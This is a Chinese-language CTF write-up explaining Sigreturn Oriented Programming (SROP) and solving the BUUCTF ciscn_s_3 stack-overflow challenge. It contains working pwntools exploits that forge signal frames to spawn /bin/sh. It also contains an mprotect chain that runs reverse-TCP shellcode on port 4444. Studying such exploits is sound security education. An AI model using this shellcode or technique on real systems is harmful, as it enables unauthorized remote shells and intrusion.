栈溢出SROP攻击 栈溢出会怎么样

原创：treebacker合天智汇

原创投稿活动：http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ

高级ROP-SROP利用

在刷题时碰到这个考察点，有点震撼，特意记录下。

SROP简介

• SROP也即Sigreturn Oriented Programming。很显然这种攻击方式与Unix系统调用Sigreturn相关。它在发生signal的时候会被间接调用。
• Signal在unix下的机制（窃图），发生signal时，会在user和kernel直接切换。系统会为当前进程保存上下文。完成后会从核心态退出时，会执行sigreturn恢复上下文。

?

在这四步过程中，第三步是关键，即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中，这个过程有些许的区别，但是大致过程是一样的。这里以Linux为例：

在第二步的时候，内核会帮用户进程将其上下文保存在该进程的栈上，然后在栈顶填上一个地址rt_sigreturn，这个地址指向一段代码，在这段代码中会调用sigreturn系统调用。因此，当signal handler执行完之后，栈指针（stack pointer）就指向rt_sigreturn，所以，signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码，被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息，以及rt_sigreturn：

?

• 上面这段内存又称为"Signal Frame"。

SROP Attack原理

• 问题出现在，内核保存的上下文是在用户态控制的栈上（可以伪造的），而切换为用户态时，并没有检查这段内存是否发生改变。也就造成了可利用的可能。
• 攻击示意图

?

• 上面的攻击中，需要满足以下几个条件1、 存在栈溢出2、可以泄露栈地址，（即可以知道参数的地址）3、需要syscall的地址4、需要sigreturn的地址 （强制按照frame内存恢复进程状态）相比较传统的ROP攻击，需要的gadgets更少，构造更方便。
• 连续攻击

?

• 只需要设置栈指针rsp的值为下一个攻击地址，同时rip的地址设置为&(syscall; ret;)即可。

实例

• BUUCTFciscn_s_3题目

• 漏洞分析

?

• 这里有两个系统调用，需要在gdb调试，发现就是read和write操作。且存在栈溢出
• 一般ROP
• 泄露libc地址，利用gadgets执行execve或者system或者one_gadget。
• 实际操作发现，rdx的值我们无法控制。execve和system都是行不通的。但是发现一个有趣的gadget

?

• 这里，实际提供了一个mov eax, 0; ret;的gadget。为one_gadget和read的syscall都可以提供基础。当然，也可以利用eax是作为函数的返回值的这一个特性，利用read特定的字节得到需要的eax。（注意这里的read也可以是syscall实现的，且上面的mov eax, 0 的gadget可以为我们syscall read提供条件）
• 可以one_gadget达到get shell的目的。
• SROP和攻击。

• 看到这个题目很少人做出来，猜到应该不是这么简单的操作。而且程序中明确指出的gadget很奇怪

• 15的系统号是rt_sigreturn，3b的系统调用是execve。（我都没用到。。。）
• 搜索一番，看到一个师傅的骚操作。
• 就是我们上面提到的SROP攻击思路，泄露栈地址、并且syscall和rt_sigreturn的gadget都是有的。
• 学习一波，记录这种方式的exp（pwntools提供了Sigreturn Frame的构建）

payload = "/bin/sh\x00"payload += '\x00' * 8payload += p64(main)p.send(payload) #write(1, stack_addr, 0x30) #will leak an address on stackp.recv(32)stack_addr = u64(p.recv(8)) - 0x118 #rsiprint "stack_addr ==> " + hex(stack_addr)p.recv(8)#SROP Attackframe = SigreturnFrame()frame.rax = constants.SYS_execveframe.rdi = stack_addr #&'/bin/sh'frame.rsi = 0frame.rdx = 0frame.rsp = stack_addrframe.rip = syscallpayload = 'a'*0x10payload += p64(rt_sigreturn) #强制sigreturn，改变framepayload += p64(syscall)payload += str(frame)p.send(payload)p.interactive()p.close()

• 拓展利用-连续攻击生成backdoor。（return shell with reverse tcp 0.0.0.0 4444)

• 这里用到mprotect(start, len, prot)修改栈为RWX属性。

• 直接设置fake frame的rsp为shellcode的地址。

main = 0x4004F1syscall = 0x400517 #syscall; ret rt_sigreturn = 0x4004DA #mov eax, 0xf; ret payload = '\x00' * 0x10payload += p64(main) p.send(payload) #write(1, stack_addr, 0x30) #will leak an address on stack p.recv(32) stack_addr = u64(p.recv(8)) - 0x118 #rsi print "stack_addr ==> " + hex(stack_addr) p.recv(8) frame1 = SigreturnFrame()frame1.rax = constants.SYS_mprotect frame1.rdi = stack_addr & 0xFFFFFFFFFFFFF000frame1.rsi = 0x1000 frame1.rdx = 7 frame1.rsp = stack_addr + 0x120 #frame2_sigreturnframe1.rip = syscall shellcode = "\x6a\x29\x58\x6a\x02\x5f\x6a\x01" \"\x5e\x48\x31\xd2\x0f\x05\x48\x97" \ "\x6a\x02\x66\xc7\x44\x24\x02\x11" \"\x5c\x54\x6a\x2a\x58\x5e\x6a\x10" \ "\x5a\x0f\x05\x6a\x03\x5e\x6a\x21" \"\x58\x48\xff\xce\x0f\x05\xe0\xf6" \ "\x48\x31\xf6\x56\x48\xbf\x2f\x62" \"\x69\x6e\x2f\x2f\x73\x68\x57\x54" \ "\x5f\xb0\x3b\x99\x0f\x05" payload = '\x00'*0x10 #rop_chain stack_addr+8 payload += p64(rt_sigreturn) payload += p64(syscall) #sigreturn payload += str(frame1) payload += p64(stack_addr + 0x128)payload += shellcode

在4444监听之后，运行exp就可以看到得到了返回的shell。

?

• 几个注意点1、一个frame框架是0xf8大小（0x64)。2、泄露的栈地址，返回再次利用时，偏移可能有些变动，建议调试确定。3、对于连续利用的所有指针参数，利用pop_ret的方式将参数保存在栈上，从而可以确参数定地址。

SROP与ROP的比较

• 利用难度。众所周知，ROP的攻击方式比较普遍，安全防护相应的也比较多。在真实的系统中，相应的gadgets比较难以获取。反观SROP，需要的gadgets少，主要在于伪造一个Frame。
• 代码复用性。由于ROP极大的依赖于栈结构，gadgets片段都是保存在stack上，所以在一次利用结束后，在stack发生改变的时候，很难再次利用（有时候即使返回init状态，也难以再次恢复stack状态）。而SROP则不然，每次只需要伪造对应的Frame，rt_sigreturn的调用都能够强制切换到我们需要的状态。有着极高的代码复用性。

SROP攻击的更多资料

• paper
• slides
• Sigreturn Oriented Programming (SROP) Attack攻击原理

多说一句这种攻击方式，真心觉得强大

推荐实验：ARM漏洞利用技术四--内存布局及栈溢出

http://www.hetianlab.com/expc.do?ec=ECIDecfd-a36f-45cf-8115-ed6a233eed75

声明：笔者初衷用于分享与普及网络知识，若读者因此作出任何危害网络安全行为后果自负，与合天智汇及原作者无关！